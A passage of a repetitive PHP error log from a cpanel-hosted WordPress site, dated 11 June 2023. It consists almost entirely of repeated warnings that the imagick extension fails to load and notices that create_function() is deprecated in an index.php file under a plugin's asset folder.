directory)) in Unknown on line 0 [11-Jun-2023 00:26:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:27:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:27:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:27:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:27:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:29:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:29:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:29:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:29:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:30:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:30:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:31:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:31:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:31:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:31:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:32:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:32:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:33:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:33:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:34:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:34:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:34:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:34:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 00:37:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 00:37:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 01:02:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 01:02:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 02:03:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 02:03:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 03:04:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 03:04:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 04:04:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 04:04:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 05:05:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 05:05:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:06:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:06:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:26:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:26:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:27:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:27:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:28:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:28:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:28:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:28:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:29:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:29:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:30:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:30:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:30:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:30:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:31:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:31:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:31:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:31:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:31:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:31:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:32:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:32:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:32:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:32:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:32:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:32:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:33:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:33:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:33:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:33:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:34:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:34:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:34:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:34:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:35:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:35:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:35:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:35:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:35:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:35:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:35:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:35:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:36:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:36:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:36:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:36:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:41:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:41:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:42:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:42:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:42:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:42:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:42:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:42:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:43:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:43:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 06:43:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 06:43:29 UTC] PHP Deprecated: Function create_function() is 